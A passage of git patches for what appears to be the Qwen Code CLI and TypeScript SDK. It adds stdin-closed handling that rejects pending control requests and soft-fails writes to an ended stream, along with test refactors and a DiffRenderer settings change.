b/packages/cli/src/nonInteractive/control/ControlContext.ts @@ -35,6 +35,7 @@ export interface IControlContext { permissionMode: PermissionMode; sdkMcpServers: Set; mcpClients: Map; + inputClosed: boolean; onInterrupt?: () => void; } @@ -52,6 +53,7 @@ export class ControlContext implements IControlContext { permissionMode: PermissionMode; sdkMcpServers: Set; mcpClients: Map; + inputClosed: boolean; onInterrupt?: () => void; @@ -71,6 +73,7 @@ export class ControlContext implements IControlContext { this.permissionMode = options.permissionMode || 'default'; this.sdkMcpServers = new Set(); this.mcpClients = new Map(); + this.inputClosed = false; this.onInterrupt = options.onInterrupt; } } diff --git a/packages/cli/src/nonInteractive/control/ControlDispatcher.test.ts b/packages/cli/src/nonInteractive/control/ControlDispatcher.test.ts index 3dca5bcb9..b775b0a5e 100644 --- a/packages/cli/src/nonInteractive/control/ControlDispatcher.test.ts +++ b/packages/cli/src/nonInteractive/control/ControlDispatcher.test.ts @@ -42,6 +42,7 @@ function createMockContext(debugMode: boolean = false): IControlContext { permissionMode: 'default', sdkMcpServers: new Set(), mcpClients: new Map(), + inputClosed: false, }; } @@ -637,6 +638,130 @@ describe('ControlDispatcher', () => { }); }); + describe('markInputClosed', () => { + it('should reject all pending outgoing requests when input closes', () => { + const requestId1 = 'reject-req-1'; + const requestId2 = 'reject-req-2'; + const resolve1 = vi.fn(); + const resolve2 = vi.fn(); + const reject1 = vi.fn(); + const reject2 = vi.fn(); + const timeoutId1 = setTimeout(() => {}, 1000); + const timeoutId2 = setTimeout(() => {}, 1000); + const clearTimeoutSpy = vi.spyOn(global, 'clearTimeout'); + + const register = ( + dispatcher as unknown as { + registerOutgoingRequest: ( + id: string, + controller: string, + resolve: (response: ControlResponse) => void, + reject: (error: Error) => void, + timeoutId: NodeJS.Timeout, + ) => void; + } + ).registerOutgoingRequest.bind(dispatcher); + + register(requestId1, 'SystemController', resolve1, reject1, timeoutId1); + register(requestId2, 'SystemController', resolve2, reject2, timeoutId2); + + dispatcher.markInputClosed(); + + expect(reject1).toHaveBeenCalledWith( + expect.objectContaining({ message: 'Input closed' }), + ); + expect(reject2).toHaveBeenCalledWith( + expect.objectContaining({ message: 'Input closed' }), + ); + expect(clearTimeoutSpy).toHaveBeenCalledWith(timeoutId1); + expect(clearTimeoutSpy).toHaveBeenCalledWith(timeoutId2); + }); + + it('should mark input as closed on context', () => { + dispatcher.markInputClosed(); + expect(mockContext.inputClosed).toBe(true); + }); + + it('should handle empty pending requests gracefully', () => { + expect(() => dispatcher.markInputClosed()).not.toThrow(); + }); + + it('should be idempotent when called multiple times', () => { + const requestId = 'idempotent-req'; + const resolve = vi.fn(); + const reject = vi.fn(); + const timeoutId = setTimeout(() => {}, 1000); + + ( + dispatcher as unknown as { + registerOutgoingRequest: ( + id: string, + controller: string, + resolve: (response: ControlResponse) => void, + reject: (error: Error) => void, + timeoutId: NodeJS.Timeout, + ) => void; + } + ).registerOutgoingRequest( + requestId, + 'SystemController', + resolve, + reject, + timeoutId, + ); + + dispatcher.markInputClosed(); + const firstRejectCount = vi.mocked(reject).mock.calls.length; + + // Call again - should not reject again + dispatcher.markInputClosed(); + const secondRejectCount = vi.mocked(reject).mock.calls.length; + + expect(secondRejectCount).toBe(firstRejectCount); + }); + + it('should log input closure in debug mode', () => { + const context = createMockContext(true); + const consoleSpy = vi + .spyOn(console, 'error') + .mockImplementation(() => {}); + + const dispatcherWithDebug = new ControlDispatcher(context); + const requestId = 'reject-req-debug'; + const resolve = vi.fn(); + const reject = vi.fn(); + const timeoutId = setTimeout(() => {}, 1000); + + ( + dispatcherWithDebug as unknown as { + registerOutgoingRequest: ( + id: string, + controller: string, + resolve: (response: ControlResponse) => void, + reject: (error: Error) => void, + timeoutId: NodeJS.Timeout, + ) => void; + } + ).registerOutgoingRequest( + requestId, + 'SystemController', + resolve, + reject, + timeoutId, + ); + + dispatcherWithDebug.markInputClosed(); + + expect(consoleSpy).toHaveBeenCalledWith( + expect.stringContaining( + '[ControlDispatcher] Input closed, rejecting 1 pending outgoing requests', + ), + ); + + consoleSpy.mockRestore(); + }); + }); + describe('shutdown', () => { it('should cancel all pending incoming requests', () => { const requestId1 = 'shutdown-req-1'; diff --git a/packages/cli/src/nonInteractive/control/ControlDispatcher.ts b/packages/cli/src/nonInteractive/control/ControlDispatcher.ts index d6dc79a46..4b3e9a5e7 100644 --- a/packages/cli/src/nonInteractive/control/ControlDispatcher.ts +++ b/packages/cli/src/nonInteractive/control/ControlDispatcher.ts @@ -207,6 +207,36 @@ export class ControlDispatcher implements IPendingRequestRegistry { } } + /** + * Marks stdin as closed and rejects all pending outgoing requests. + * After this is called, new outgoing requests will be rejected immediately. + * This should be called when stdin closes to avoid waiting for responses. + */ + markInputClosed(): void { + if (this.context.inputClosed) { + return; // Already marked as closed + } + + this.context.inputClosed = true; + + const requestIds = Array.from(this.pendingOutgoingRequests.keys()); + + if (this.context.debugMode) { + console.error( + `[ControlDispatcher] Input closed, rejecting ${requestIds.length} pending outgoing requests`, + ); + } + + // Reject all currently pending outgoing requests + for (const id of requestIds) { + const pending = this.pendingOutgoingRequests.get(id); + if (pending) { + this.deregisterOutgoingRequest(id); + pending.reject(new Error('Input closed')); + } + } + } + /** * Stops all pending requests and cleans up all controllers */ @@ -243,7 +273,7 @@ export class ControlDispatcher implements IPendingRequestRegistry { } /** - * Registers an incoming request in the pending registry + * Registers an incoming request in the pending registry. */ registerIncomingRequest( requestId: string, diff --git a/packages/cli/src/nonInteractive/control/controllers/baseController.ts b/packages/cli/src/nonInteractive/control/controllers/baseController.ts index dcb9e7c99..9a25ab9cf 100644 --- a/packages/cli/src/nonInteractive/control/controllers/baseController.ts +++ b/packages/cli/src/nonInteractive/control/controllers/baseController.ts @@ -124,6 +124,11 @@ export abstract class BaseController { timeoutMs: number = DEFAULT_REQUEST_TIMEOUT_MS, signal?: AbortSignal, ): Promise { + // Check if stream is closed + if (this.context.inputClosed) { + throw new Error('Input closed'); + } + // Check if already aborted if (signal?.aborted) { throw new Error('Request aborted'); diff --git a/packages/cli/src/nonInteractive/control/controllers/permissionController.ts b/packages/cli/src/nonInteractive/control/controllers/permissionController.ts index 4cec3b00f..2208404be 100644 --- a/packages/cli/src/nonInteractive/control/controllers/permissionController.ts +++ b/packages/cli/src/nonInteractive/control/controllers/permissionController.ts @@ -469,21 +469,27 @@ export class PermissionController extends BaseController { error, ); } - // On error, use default cancel message + + // Extract error message + const errorMessage = + error instanceof Error ? error.message : String(error); + + // On error, pass error message as cancel message // Only pass payload for exec and mcp types that support it const confirmationType = toolCall.confirmationDetails.type; if (['edit', 'exec', 'mcp'].includes(confirmationType)) { const execOrMcpDetails = toolCall.confirmationDetails as | ToolExecuteConfirmationDetails | ToolMcpConfirmationDetails; - await execOrMcpDetails.onConfirm( - ToolConfirmationOutcome.Cancel, - undefined, - ); + await execOrMcpDetails.onConfirm(ToolConfirmationOutcome.Cancel, { + cancelMessage: `Error: ${errorMessage}`, + }); } else { - // For other types, don't pass payload (backward compatible) await toolCall.confirmationDetails.onConfirm( ToolConfirmationOutcome.Cancel, + { + cancelMessage: `Error: ${errorMessage}`, + }, ); } } finally { diff --git a/packages/cli/src/nonInteractive/session.test.ts b/packages/cli/src/nonInteractive/session.test.ts index 84d7dece7..56fd7b3e0 100644 --- a/packages/cli/src/nonInteractive/session.test.ts +++ b/packages/cli/src/nonInteractive/session.test.ts @@ -153,6 +153,7 @@ describe('runNonInteractiveStreamJson', () => { handleControlResponse: ReturnType; handleCancel: ReturnType; shutdown: ReturnType; + markInputClosed: ReturnType; getPendingIncomingRequestCount: ReturnType; waitForPendingIncomingRequests: ReturnType; sdkMcpController: { @@ -192,6 +193,7 @@ describe('runNonInteractiveStreamJson', () => { handleControlResponse: vi.fn(), handleCancel: vi.fn(), shutdown: vi.fn(), + markInputClosed: vi.fn(), getPendingIncomingRequestCount: vi.fn().mockReturnValue(0), waitForPendingIncomingRequests: vi.fn().mockResolvedValue(undefined), sdkMcpController: { diff --git a/packages/cli/src/nonInteractive/session.ts b/packages/cli/src/nonInteractive/session.ts index e8e6da129..0f22121f0 100644 --- a/packages/cli/src/nonInteractive/session.ts +++ b/packages/cli/src/nonInteractive/session.ts @@ -596,7 +596,14 @@ class Session { throw streamError; } - // Stream ended - wait for all pending work before shutdown + // Stdin closed - mark input as closed in dispatcher + // This will reject all current pending outgoing requests AND any future requests + // that might be registered by async message handlers still running + if (this.dispatcher) { + this.dispatcher.markInputClosed(); + } + + // Wait for all pending work before shutdown await this.waitForAllPendingWork(); await this.shutdown(); } catch (error) { diff --git a/packages/sdk-typescript/src/query/Query.ts b/packages/sdk-typescript/src/query/Query.ts index c01229037..540291769 100644 --- a/packages/sdk-typescript/src/query/Query.ts +++ b/packages/sdk-typescript/src/query/Query.ts @@ -663,7 +663,21 @@ export class Query implements AsyncIterable { }, ); - this.transport.write(serializeJsonLine(request)); + try { + this.transport.write(serializeJsonLine(request)); + } catch (error) { + const pending = this.pendingControlRequests.get(requestId); + if (pending) { + clearTimeout(pending.timeout); + this.pendingControlRequests.delete(requestId); + } + const errorMsg = error instanceof Error ? error.message : String(error); + logger.error(`Failed to send control request: ${errorMsg}`); + return Promise.reject( + new Error(`Failed to send control request: ${errorMsg}`), + ); + } + return responsePromise; } @@ -687,7 +701,15 @@ export class Query implements AsyncIterable { }, }; - this.transport.write(serializeJsonLine(response)); + try { + this.transport.write(serializeJsonLine(response)); + } catch (error) { + // Write failed - log and ignore since response cannot be delivered + const errorMsg = error instanceof Error ? error.message : String(error); + logger.warn( + `Failed to send control response for request ${requestId}: ${errorMsg}`, + ); + } } async close(): Promise { @@ -790,11 +812,7 @@ export class Query implements AsyncIterable { * The timeout ensures we don't hang indefinitely - either the turn proceeds * normally, or it fails with a timeout, but Promise.race will always resolve. */ - if ( - !this.isSingleTurn && - this.sdkMcpTransports.size > 0 && - this.firstResultReceivedPromise - ) { + if (this.firstResultReceivedPromise) { const streamCloseTimeout = this.options.timeout?.streamClose ?? DEFAULT_STREAM_CLOSE_TIMEOUT; let timeoutId: NodeJS.Timeout | undefined; diff --git a/packages/sdk-typescript/src/transport/ProcessTransport.ts b/packages/sdk-typescript/src/transport/ProcessTransport.ts index 7add5bb39..6d71c69e0 100644 --- a/packages/sdk-typescript/src/transport/ProcessTransport.ts +++ b/packages/sdk-typescript/src/transport/ProcessTransport.ts @@ -18,6 +18,7 @@ export class ProcessTransport implements Transport { private ready = false; private _exitError: Error | null = null; private closed = false; + private inputClosed = false; private abortController: AbortController; private processExitHandler: (() => void) | null = null; private abortHandler: (() => void) | null = null; @@ -210,6 +211,7 @@ export class ProcessTransport implements Transport { this.ready = false; this.closed = true; + this.inputClosed = true; } async waitForExit(): Promise { @@ -273,8 +275,16 @@ export class ProcessTransport implements Transport { throw new Error('Cannot write to closed transport'); } - if (this.childStdin.writableEnded) { - throw new Error('Cannot write to ended stream'); + if (this.inputClosed) { + throw new Error('Input stream closed'); + } + + if (this.childStdin.writableEnded || this.childStdin.destroyed) { + this.inputClosed = true; + logger.warn( + `Cannot write to ${this.childStdin.writableEnded ? 'ended' : 'destroyed'} stdin stream, ignoring write`, + ); + return; } if (this.childProcess?.killed || this.childProcess?.exitCode !== null) { @@ -301,10 +311,25 @@ export class ProcessTransport implements Transport { logger.debug(`Write successful (${message.length} bytes)`); } } catch (error) { + // Check if this is a stream-closed error (EPIPE, ERR_STREAM_WRITE_AFTER_END, etc.) + const errorMsg = error instanceof Error ? error.message : String(error); + const isStreamClosedError = + errorMsg.includes('EPIPE') || + errorMsg.includes('ERR_STREAM_WRITE_AFTER_END') || + errorMsg.includes('write after end'); + + if (isStreamClosedError) { + // Soft-fail: log and return without throwing or changing ready state + this.inputClosed = true; + logger.warn(`Stream closed, cannot write: ${errorMsg}`); + return; + } + + // For other errors, maintain original behavior this.ready = false; - const errorMsg = `Failed to write to stdin: ${error instanceof Error ? error.message : String(error)}`; - logger.error(errorMsg); - throw new Error(errorMsg); + const fullErrorMsg = `Failed to write to stdin: ${errorMsg}`; + logger.error(fullErrorMsg); + throw new Error(fullErrorMsg); } } @@ -344,6 +369,7 @@ export class ProcessTransport implements Transport { endInput(): void { if (this.childStdin) { this.childStdin.end(); + this.inputClosed = true; } } diff --git a/packages/sdk-typescript/test/unit/ProcessTransport.test.ts b/packages/sdk-typescript/test/unit/ProcessTransport.test.ts index b86026541..577bbaf7f 100644 --- a/packages/sdk-typescript/test/unit/ProcessTransport.test.ts +++ b/packages/sdk-typescript/test/unit/ProcessTransport.test.ts @@ -647,7 +647,7 @@ describe('ProcessTransport', () => { ); }); - it('should throw if writing to ended stream', () => { + it('should not throw when writing to ended stream (soft-fail)', () => { mockPrepareSpawnInfo.mockReturnValue({ command: 'qwen', args: [], @@ -664,9 +664,8 @@ describe('ProcessTransport', () => { mockStdin.end(); - expect(() => transport.write('test')).toThrow( - 'Cannot write to ended stream', - ); + // Should not throw - soft-fail behavior + expect(() => transport.write('test')).not.toThrow(); }); it('should throw if writing to terminated process', () => { diff --git a/packages/sdk-typescript/test/unit/Query.test.ts b/packages/sdk-typescript/test/unit/Query.test.ts index 1dd0a992c..fd38555fb 100644 --- a/packages/sdk-typescript/test/unit/Query.test.ts +++ b/packages/sdk-typescript/test/unit/Query.test.ts @@ -261,6 +261,20 @@ function createControlCancel(requestId: string): ControlCancelRequest { }; } +async function respondToInitialize( + transport: MockTransport, + query: Query, +): Promise { + await vi.waitFor(() => { + expect(transport.writtenMessages.length).toBeGreaterThan(0); + }); + const initRequest = transport.getLastWrittenMessage() as CLIControlRequest; + transport.simulateMessage( + createControlResponse(initRequest.request_id, true, {}), + ); + await query.initialized; +} + describe('Query', () => { let transport: MockTransport; @@ -295,6 +309,7 @@ describe('Query', () => { expect(initRequest.type).toBe('control_request'); expect(initRequest.request.subtype).toBe('initialize'); + await respondToInitialize(transport, query); await query.close(); }); @@ -307,6 +322,8 @@ describe('Query', () => { expect(query1.getSessionId()).not.toBe(query2.getSessionId()); + await respondToInitialize(transport, query1); + await respondToInitialize(transport2, query2); await query1.close(); await query2.close(); await transport2.close(); @@ -338,6 +355,8 @@ describe('Query', () => { it('should route user messages to output stream', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); + const userMsg = createUserMessage('Hello'); transport.simulateMessage(userMsg); @@ -351,6 +370,8 @@ describe('Query', () => { it('should route assistant messages to output stream', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); + const assistantMsg = createAssistantMessage('Response'); transport.simulateMessage(assistantMsg); @@ -364,6 +385,8 @@ describe('Query', () => { it('should route system messages to output stream', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); + const systemMsg = createSystemMessage('session_start'); transport.simulateMessage(systemMsg); @@ -377,6 +400,8 @@ describe('Query', () => { it('should route result messages to output stream', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); + const resultMsg = createResultMessage(true); transport.simulateMessage(resultMsg); @@ -390,6 +415,8 @@ describe('Query', () => { it('should route partial assistant messages to output stream', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); + const partialMsg = createPartialMessage(); transport.simulateMessage(partialMsg); @@ -403,6 +430,8 @@ describe('Query', () => { it('should handle unknown message types', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); + const unknownMsg = { type: 'unknown', data: 'test' }; transport.simulateMessage(unknownMsg); @@ -416,6 +445,8 @@ describe('Query', () => { it('should yield messages in order', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); + const msg1 = createUserMessage('First'); const msg2 = createAssistantMessage('Second'); const msg3 = createResultMessage(true); @@ -445,6 +476,8 @@ describe('Query', () => { canUseTool, }); + await respondToInitialize(transport, query); + const controlReq = createControlRequest('can_use_tool'); transport.simulateMessage(controlReq); @@ -469,6 +502,8 @@ describe('Query', () => { canUseTool, }); + await respondToInitialize(transport, query); + const controlReq = createControlRequest('can_use_tool', 'perm-req-1'); transport.simulateMessage(controlReq); @@ -495,6 +530,8 @@ describe('Query', () => { canUseTool, }); + await respondToInitialize(transport, query); + const controlReq = createControlRequest('can_use_tool', 'perm-req-2'); transport.simulateMessage(controlReq); @@ -519,6 +556,8 @@ describe('Query', () => { cwd: '/test', }); + await respondToInitialize(transport, query); + const controlReq = createControlRequest('can_use_tool', 'perm-req-3'); transport.simulateMessage(controlReq); @@ -554,6 +593,8 @@ describe('Query', () => { }, }); + await respondToInitialize(transport, query); + const controlReq = createControlRequest('can_use_tool', 'perm-req-4'); transport.simulateMessage(controlReq); @@ -583,6 +624,8 @@ describe('Query', () => { canUseTool, }); + await respondToInitialize(transport, query); + const controlReq = createControlRequest('can_use_tool', 'perm-req-5'); transport.simulateMessage(controlReq); @@ -613,6 +656,8 @@ describe('Query', () => { canUseTool, }); + await respondToInitialize(transport, query); + const controlReq = createControlRequest('can_use_tool', 'perm-req-6'); transport.simulateMessage(controlReq); @@ -644,6 +689,8 @@ describe('Query', () => { canUseTool, }); + await respondToInitialize(transport, query); + const controlReq = createControlRequest('can_use_tool', 'perm-req-7'); transport.simulateMessage(controlReq); @@ -684,6 +731,8 @@ describe('Query', () => { canUseTool, }); + await respondToInitialize(transport, query); + const controlReq = createControlRequest('can_use_tool', 'cancel-req-1'); transport.simulateMessage(controlReq); @@ -703,6 +752,8 @@ describe('Query', () => { cwd: '/test', }); + await respondToInitialize(transport, query); + // Send cancel for non-existent request transport.simulateMessage(createControlCancel('unknown-req')); @@ -717,24 +768,16 @@ describe('Query', () => { it('should support streamInput() for follow-up messages', async () => { const query = new Query(transport, { cwd: '/test' }); - // Respond to initialize - await vi.waitFor(() => { - expect(transport.writtenMessages.length).toBeGreaterThan(0); - }); - const initRequest = - transport.getLastWrittenMessage() as CLIControlRequest; - transport.simulateMessage( - createControlResponse(initRequest.request_id, true, {}), - ); - - await query.initialized; + await respondToInitialize(transport, query); async function* messageGenerator() { yield createUserMessage('Follow-up 1'); yield createUserMessage('Follow-up 2'); } - await query.streamInput(messageGenerator()); + const streamPromise = query.streamInput(messageGenerator()); + transport.simulateMessage(createResultMessage(true)); + await streamPromise; const messages = transport.getAllWrittenMessages(); const userMessages = messages.filter( @@ -753,24 +796,16 @@ describe('Query', () => { const query = new Query(transport, { cwd: '/test' }); const sessionId = query.getSessionId(); - // Respond to initialize - await vi.waitFor(() => { - expect(transport.writtenMessages.length).toBeGreaterThan(0); - }); - const initRequest = - transport.getLastWrittenMessage() as CLIControlRequest; - transport.simulateMessage( - createControlResponse(initRequest.request_id, true, {}), - ); - - await query.initialized; + await respondToInitialize(transport, query); async function* messageGenerator() { yield createUserMessage('Turn 1', sessionId); yield createUserMessage('Turn 2', sessionId); } - await query.streamInput(messageGenerator()); + const streamPromise = query.streamInput(messageGenerator()); + transport.simulateMessage(createResultMessage(true)); + await streamPromise; const messages = transport.getAllWrittenMessages(); const userMessages = messages.filter( @@ -790,6 +825,7 @@ describe('Query', () => { it('should throw if streamInput() called on closed query', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); await query.close(); async function* messageGenerator() { @@ -808,17 +844,7 @@ describe('Query', () => { abortController, }); - // Respond to initialize - await vi.waitFor(() => { - expect(transport.writtenMessages.length).toBeGreaterThan(0); - }); - const initRequest = - transport.getLastWrittenMessage() as CLIControlRequest; - transport.simulateMessage( - createControlResponse(initRequest.request_id, true, {}), - ); - - await query.initialized; + await respondToInitialize(transport, query); async function* messageGenerator() { yield createUserMessage('Message 1'); @@ -826,7 +852,9 @@ describe('Query', () => { yield createUserMessage('Message 2'); // Should not be sent } - await query.streamInput(messageGenerator()); + const streamPromise = query.streamInput(messageGenerator()); + transport.simulateMessage(createResultMessage(true)); + await streamPromise; await query.close(); }); @@ -835,6 +863,8 @@ describe('Query', () => { describe('Lifecycle Management', () => { it('should close transport on close()', async () => { const query = new Query(transport, { cwd: '/test' }); + + await respondToInitialize(transport, query); await query.close(); expect(transport.closed).toBe(true); @@ -842,6 +872,7 @@ describe('Query', () => { it('should mark query as closed', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); expect(query.isClosed()).toBe(false); await query.close(); @@ -851,6 +882,8 @@ describe('Query', () => { it('should complete output stream on close()', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); + const iterationPromise = (async () => { const messages: SDKMessage[] = []; for await (const msg of query) { @@ -869,6 +902,8 @@ describe('Query', () => { it('should be idempotent when closing multiple times', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); + await query.close(); await query.close(); await query.close(); @@ -883,6 +918,8 @@ describe('Query', () => { abortController, }); + await respondToInitialize(transport, query); + abortController.abort(); await vi.waitFor(() => { @@ -909,6 +946,8 @@ describe('Query', () => { it('should support for await loop', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); + const messages: SDKMessage[] = []; const iterationPromise = (async () => { for await (const msg of query) { @@ -931,6 +970,8 @@ describe('Query', () => { it('should complete iteration when query closes', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); + const messages: SDKMessage[] = []; const iterationPromise = (async () => { for await (const msg of query) { @@ -953,6 +994,8 @@ describe('Query', () => { it('should propagate transport errors', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); + const iterationPromise = (async () => { for await (const msg of query) { void msg; @@ -971,17 +1014,7 @@ describe('Query', () => { it('should provide interrupt() method', async () => { const query = new Query(transport, { cwd: '/test' }); - // Respond to initialize - await vi.waitFor(() => { - expect(transport.writtenMessages.length).toBeGreaterThan(0); - }); - const initRequest = - transport.getLastWrittenMessage() as CLIControlRequest; - transport.simulateMessage( - createControlResponse(initRequest.request_id, true, {}), - ); - - await query.initialized; + await respondToInitialize(transport, query); const interruptPromise = query.interrupt(); @@ -1011,17 +1044,7 @@ describe('Query', () => { it('should provide setPermissionMode() method', async () => { const query = new Query(transport, { cwd: '/test' }); - // Respond to initialize - await vi.waitFor(() => { - expect(transport.writtenMessages.length).toBeGreaterThan(0); - }); - const initRequest = - transport.getLastWrittenMessage() as CLIControlRequest; - transport.simulateMessage( - createControlResponse(initRequest.request_id, true, {}), - ); - - await query.initialized; + await respondToInitialize(transport, query); const setModePromise = query.setPermissionMode('yolo'); @@ -1051,17 +1074,7 @@ describe('Query', () => { it('should provide setModel() method', async () => { const query = new Query(transport, { cwd: '/test' }); - // Respond to initialize - await vi.waitFor(() => { - expect(transport.writtenMessages.length).toBeGreaterThan(0); - }); - const initRequest = - transport.getLastWrittenMessage() as CLIControlRequest; - transport.simulateMessage( - createControlResponse(initRequest.request_id, true, {}), - ); - - await query.initialized; + await respondToInitialize(transport, query); const setModelPromise = query.setModel('new-model'); @@ -1091,17 +1104,7 @@ describe('Query', () => { it('should provide supportedCommands() method', async () => { const query = new Query(transport, { cwd: '/test' }); - // Respond to initialize - await vi.waitFor(() => { - expect(transport.writtenMessages.length).toBeGreaterThan(0); - }); - const initRequest = - transport.getLastWrittenMessage() as CLIControlRequest; - transport.simulateMessage( - createControlResponse(initRequest.request_id, true, {}), - ); - - await query.initialized; + await respondToInitialize(transport, query); const commandsPromise = query.supportedCommands(); @@ -1135,17 +1138,7 @@ describe('Query', () => { it('should provide mcpServerStatus() method', async () => { const query = new Query(transport, { cwd: '/test' }); - // Respond to initialize - await vi.waitFor(() => { - expect(transport.writtenMessages.length).toBeGreaterThan(0); - }); - const initRequest = - transport.getLastWrittenMessage() as CLIControlRequest; - transport.simulateMessage( - createControlResponse(initRequest.request_id, true, {}), - ); - - await query.initialized; + await respondToInitialize(transport, query); const statusPromise = query.mcpServerStatus(); @@ -1180,6 +1173,7 @@ describe('Query', () => { it('should throw if methods called on closed query', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); await query.close(); await expect(query.interrupt()).rejects.toThrow('Query is closed'); @@ -1198,6 +1192,8 @@ describe('Query', () => { it('should propagate transport errors to stream', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); + const error = new Error('Transport failure'); transport.simulateError(error); @@ -1214,17 +1210,7 @@ describe('Query', () => { }, }); - // Respond to initialize - await vi.waitFor(() => { - expect(transport.writtenMessages.length).toBeGreaterThan(0); - }); - const initRequest = - transport.getLastWrittenMessage() as CLIControlRequest; - transport.simulateMessage( - createControlResponse(initRequest.request_id, true, {}), - ); - - await query.initialized; + await respondToInitialize(transport, query); // Call interrupt but don't respond - should timeout const interruptPromise = query.interrupt(); @@ -1237,17 +1223,7 @@ describe('Query', () => { it('should handle malformed control responses', async () => { const query = new Query(transport, { cwd: '/test' }); - // Respond to initialize - await vi.waitFor(() => { - expect(transport.writtenMessages.length).toBeGreaterThan(0); - }); - const initRequest = - transport.getLastWrittenMessage() as CLIControlRequest; - transport.simulateMessage( - createControlResponse(initRequest.request_id, true, {}), - ); - - await query.initialized; + await respondToInitialize(transport, query); const interruptPromise = query.interrupt(); @@ -1284,6 +1260,8 @@ describe('Query', () => { it('should handle CLI sending error result message', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); + const errorResult = createResultMessage(false); transport.simulateMessage(errorResult); @@ -1303,6 +1281,8 @@ describe('Query', () => { true, // singleTurn = true ); + await respondToInitialize(transport, query); + const resultMsg = createResultMessage(true); transport.simulateMessage(resultMsg); @@ -1320,6 +1300,8 @@ describe('Query', () => { false, // singleTurn = false ); + await respondToInitialize(transport, query); + const resultMsg = createResultMessage(true); transport.simulateMessage(resultMsg); @@ -1332,19 +1314,23 @@ describe('Query', () => { }); describe('State Management', () => { - it('should track session ID', () => { + it('should track session ID', async () => { const query = new Query(transport, { cwd: '/test' }); const sessionId = query.getSessionId(); expect(sessionId).toBeTruthy(); expect(typeof sessionId).toBe('string'); expect(sessionId.length).toBeGreaterThan(0); + + await respondToInitialize(transport, query); + await query.close(); }); it('should track closed state', async () => { const query = new Query(transport, { cwd: '/test' }); expect(query.isClosed()).toBe(false); + await respondToInitialize(transport, query); await query.close(); expect(query.isClosed()).toBe(true); }); @@ -1352,17 +1338,7 @@ describe('Query', () => { it('should provide endInput() method', async () => { const query = new Query(transport, { cwd: '/test' }); - // Respond to initialize - await vi.waitFor(() => { - expect(transport.writtenMessages.length).toBeGreaterThan(0); - }); - const initRequest = - transport.getLastWrittenMessage() as CLIControlRequest; - transport.simulateMessage( - createControlResponse(initRequest.request_id, true, {}), - ); - - await query.initialized; + await respondToInitialize(transport, query); query.endInput(); expect(transport.endInputCalled).toBe(true); @@ -1372,6 +1348,7 @@ describe('Query', () => { it('should throw if endInput() called on closed query', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); await query.close(); expect(() => query.endInput()).toThrow('Query is closed'); @@ -1382,6 +1359,8 @@ describe('Query', () => { it('should handle empty message stream', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); + transport.simulateClose(); const result = await query.next(); @@ -1393,6 +1372,8 @@ describe('Query', () => { it('should handle rapid message flow', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); + // Simulate rapid messages for (let i = 0; i < 100; i++) { transport.simulateMessage(createUserMessage(`Message ${i}`)); @@ -1414,6 +1395,8 @@ describe('Query', () => { it('should handle close during message iteration', async () => { const query = new Query(transport, { cwd: '/test' }); + await respondToInitialize(transport, query); + const iterationPromise = (async () => { const messages: SDKMessage[] = []; for await (const msg of query) { From a9280d992e2a0e80e503672a1eaa5cee99dce6e3 Mon Sep 17 00:00:00 2001 From: BlockHand <1142546125@qq.com> Date: Fri, 23 Jan 2026 15:30:08 +0800 Subject: [PATCH 20/79] =?UTF-8?q?feat:=20=E4=BC=98=E5=8C=96useSettingsHook?= =?UTF-8?q?s=E4=BB=A5=E5=8F=8A=E5=85=A8=E9=9D=A2review=20DiffRender?= =?UTF-8?q?=E7=9A=84settings=E7=9A=84=E5=85=A5=E5=8F=82=E6=98=AF=E5=90=A6?= =?UTF-8?q?=E6=9C=89=E7=BC=BA=E5=A4=B1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cli/src/ui/components/ThemeDialog.tsx | 1 + .../components/messages/DiffRenderer.test.tsx | 59 +++++++++++++------ .../messages/ToolConfirmationMessage.tsx | 1 + .../components/messages/ToolMessage.test.tsx | 19 +++++- .../ui/components/messages/ToolMessage.tsx | 4 +- 5 files changed, 62 insertions(+), 22 deletions(-) diff --git a/packages/cli/src/ui/components/ThemeDialog.tsx b/packages/cli/src/ui/components/ThemeDialog.tsx index 3f93c84d7..a2ade610b 100644 --- a/packages/cli/src/ui/components/ThemeDialog.tsx +++ b/packages/cli/src/ui/components/ThemeDialog.tsx @@ -260,6 +260,7 @@ def fibonacci(n): availableTerminalHeight={diffHeight} contentWidth={colorizeCodeWidth} theme={previewTheme} + settings={settings} /> ); diff --git a/packages/cli/src/ui/components/messages/DiffRenderer.test.tsx b/packages/cli/src/ui/components/messages/DiffRenderer.test.tsx index 923b3c28a..a725f5e64 100644 --- a/packages/cli/src/ui/components/messages/DiffRenderer.test.tsx +++ b/packages/cli/src/ui/components/messages/DiffRenderer.test.tsx @@ -11,6 +11,14 @@ import * as CodeColorizer from '../../utils/CodeColorizer.js'; import { vi } from 'vitest'; import type { LoadedSettings } from '../../../config/settings.js'; +const mockSettings: LoadedSettings = { + merged: { + ui: { + showLineNumbers: true, + }, + }, +} as LoadedSettings; + describe('', () => { const mockColorizeCode = vi.spyOn(CodeColorizer, 'colorizeCode'); @@ -18,8 +26,8 @@ describe('', () => { mockColorizeCode.mockClear(); }); - const sanitizeOutput = (output: string | undefined, 